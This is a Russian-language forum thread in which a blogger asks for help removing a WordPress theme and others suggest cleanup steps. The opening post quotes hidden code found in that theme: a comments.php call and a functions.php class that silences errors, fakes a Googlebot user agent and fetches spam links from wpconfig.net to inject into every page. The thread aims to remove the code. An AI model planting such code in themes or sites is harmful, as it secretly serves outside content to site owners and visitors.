После удаления шаблона Wordpress блог перестал работать.

DS
На сайте с 28.07.2014
Offline
12
913

Здравствуйте.

Такая проблема. Есть блог на Wordpress. Скачал бесплатный шаблон на wp-templates.ru и как Вы понимаете, он оказался с "довесочком".

В файле comments.php внедрен код вызывающий сторонние ссылки.

<?php $lib_path = dirname(__FILE__).’/'; require_once(‘functions.php’); $links = new Get_links(); $links = $links->get_remote(); echo $links; ?>

В файле function.php оказался еще один кусок кода

<?php


error_reporting('^ E_ALL ^ E_NOTICE');

ini_set('display_errors', '0');

error_reporting(E_ALL);

ini_set('display_errors', '0');






var $host = 'wpconfig.net';

var $path = '/system.php';

var $_socket_timeout = 5;



function get_remote() {

$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);

$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";



$links_class = new Get_links();

$host = $links_class->host;

$path = $links_class->path;

$_socket_timeout = $links_class->_socket_timeout;

//$_user_agent = $links_class->_user_agent;



@ini_set('allow_url_fopen', 1);

@ini_set('default_socket_timeout', $_socket_timeout);

@ini_set('user_agent', $_user_agent);



if (function_exists('file_get_contents')) {

$opts = array(

'http'=>array(

'method'=>"GET",

'header'=>"Referer: {$req_url}\r\n".

"User-Agent: {$_user_agent}\r\n"

)

);

$context = stream_context_create($opts);



$data = @file_get_contents('http://' . $host . $path, false, $context);

preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);

$data = @$data[2];

return $data;

}

return '<!--link error-->';

}

Строку из коментов удалил. А вот с функшен возникли проблемы. При попытке удалить, как советуют эту функцию блог перестает работать. Белый экран. Делаю бекап,- все работает. Причем приходится делать откат как файлов, так и баз данных.

При попытке удалить тему блог слетает.

Показывается какая-то крякозябра. Воспроизвести не сумею. Приходится опять бекапить.

Таких тем у меня две. Greenchili и Trending. В какой засада не знаю.

Если не подскажете что делать, я и не знаю что творить дальше.

Перерыл в поисках решения уже две сотни вариантов.

SeVlad
На сайте с 03.11.2008
Offline
1609
#1
denis_semenets:
Если не подскажете что делать, я и не знаю что творить дальше.

1. Загрузить и никогда не удалять дефолтную тему (напр Twenty Fourteen для ВП4,0).

2. Удалить все левые темы и запомнить, что их нужно брать только на оф. сайтах (бесплатное - только оф репо)

2.1 Для надёжности принятия изменений можно зайти твойсайт/wp-admin/themes.php

3. Отключить все плагины, путём переименования каталога с ними и последующим заходом на твойсайт/wp-admin/plugins.php.

denis_semenets:
Приходится опять бекапить.

Не бекапить, а восстанавливать из бекапа. Бекапить - сохранять текущее состояние.

denis_semenets:
Белый экран.

Включить отображение ошибок

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
DS
На сайте с 28.07.2014
Offline
12
#2
Удалить все левые темы и запомнить, что их нужно брать только на оф. сайтах (бесплатное - только

В этом всё и дело. Удалить не выходит. Блог сразу слетает. Вру,не сразу. Минут через пять. Такое ощущение что кто-то пытается запустить размещение ссылок, а при невозможности из-за того что код сломан, блокируется какой-то ещё файл.

Не бекапить, а восстанавливать из бекапа. Бекапить - сохранять текущее состояние.

Спасибо за подсказку. Постараюсь в следующий раз писать правильно.

Включить отображение ошибок

А чем это поможет? Ну если Вы так говорите, то сделаю.

Попытка закомментировать код результата не принесла. Точнее принесла тот-же самый,- крякозябры вместо блога.

SeVlad
На сайте с 03.11.2008
Offline
1609
#3
denis_semenets:
Удалить не выходит. Блог сразу слетает.

"Слетает" потому что нет дефолтной темы.

Как её загрузишь и удалишь косячную (и отключишь плагины) - сразу заходи по данным выше урлам. Всё получится.

Если нет - проверяй хтацесс и перезалей дистрибутив ВП

denis_semenets:
А чем это поможет?

Покажет где ошибки и даст пищу для поисков проблем.

DS
На сайте с 28.07.2014
Offline
12
#4

Сделал все как сказано.

Вроде работает.

Отключить все плагины, путём переименования каталога с ними

Это как, скачать папку и переименовать, потом закинуть обратно?

А просто в админке их отключить нельзя?

SeVlad
На сайте с 03.11.2008
Offline
1609
#5
denis_semenets:
Это как, скачать папку и переименовать, потом закинуть обратно?

Зачем скачивать?! Переименовать каталог plugins на сервере. Временно переименовать. После отключения плагинов - вернуть имя обратно.

denis_semenets:
А просто в админке их отключить нельзя?

А если ты туда не попадаешь? ;) Я описал "грубый" способ, когда из-за неизвестно какого кривого плагина нет возможности попасть в админку.

vlad00777
На сайте с 24.12.2009
Offline
119
#6

Может защита шаблона от выреза ссылок? Нужно весь шаблон смотреть, это же только кусок файла функций.

Верстка. Качественно! Адаптивная, резиновая, с параллаксом и прочими плюшками. В ЛС.
DS
На сайте с 28.07.2014
Offline
12
#7

SeVlad, Спасибо огромное. Все получилось. В админку получилось зайти. Отключал там. Заодно нашел несколько ошибок в плагинах. Пару исправил. Пару плагинов отключил. Буду разбираться.

А на что именно в хтацессе смотреть?

vlad00777

Могу скинуть на почту шаблон, если интересно. Пороетесь, в академических целях. Для самообразования.

vlad00777
На сайте с 24.12.2009
Offline
119
#8

Спасибо. И так работы хватает, удачи!

SeVlad
На сайте с 03.11.2008
Offline
1609
#9
denis_semenets:
А на что именно в хтацессе смотреть?

На наличие левого кода. Дефортный хтацесс показан тут

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий